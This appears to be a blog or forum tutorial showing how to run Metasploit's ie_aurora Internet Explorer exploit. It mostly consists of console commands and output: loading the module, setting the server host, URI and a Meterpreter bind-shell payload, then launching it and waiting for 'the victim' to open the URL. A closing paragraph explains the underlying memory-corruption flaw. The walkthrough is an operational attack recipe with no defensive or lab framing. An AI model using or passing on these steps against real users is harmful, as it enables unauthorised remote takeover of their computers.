Exploit IE_Aurora - Red Orbita

Download the Exploit IE_Aurora.rb of Metasploit Framework – /modules/exploits/windows/browser/ie_aurora.rb – Metasploit Redmine Interface. We put the Exploit inside the folder we want, I put it in Windows/Browser/Ie_Aurora. We enter the Metasploit Console and we load the Exploit Ie_Aurora

Code:

CODE

text

                                  _       _
             _                   | |     (_)_
 ____   ____| |_  ____  ___ ____ | | ___  _| |_
|     / _  )  _)/ _  |/___)  _ | |/ _ | |  _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|____)___)_||_(___/| ||_/|_|___/|_|___)
                           |_|


       =[ metasploit v3.3.3-release [core:3.3 api:1.0]
+ -- --=[ 481 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7957 updated 27 days ago (2009.12.23)

Warning: This copy of the Metasploit Framework was last updated 27 days ago.
         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
             http://dev.metasploit.com/redmine/projects/framework/wiki/Updating

msf > use windows/browser/ie_aurora
msf exploit(ie_aurora) >

We look at what options you have and which ones are required.

Code:

BASH

text

msf exploit(ie_aurora) > show options

Module options:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on.
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(ie_aurora) >

We fill the parameters of SRVHOST, URIPATH and we select the PAYLOAD.

Code:

CODE

text

msf exploit(ie_aurora) > set SRVHOST 192.168.0.2
SRVHOST => 192.168.0.2
msf exploit(ie_aurora) > set URIPATH /
URIPATH => /
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ie_aurora) >

We launch the Exploit and wait for the victim to enter the URL.

Code:

CODE

text

msf exploit(ie_aurora) > exploit[*] Exploit running as background job.
msf exploit(ie_aurora) > [*] Started bind handler[*] Using URL: http://192.168.0.2:8080/[*] Server started.

It is due to: Because when a user manually loads a website, specially crafted JavaScript code causes memory corruption that ultimately allows access to the system. This vulnerability is extremely critical, and the code has been circulating freely on the Internet for a couple of days, which makes it more than possible that the exploit, which was initially designed to steal intellectual property in a segmented attack against large corporations, could be being exploited in a more general way.

Fountain: About the latest Internet Explorer vulnerability: practical advice for users » Sergio Hernando

Comments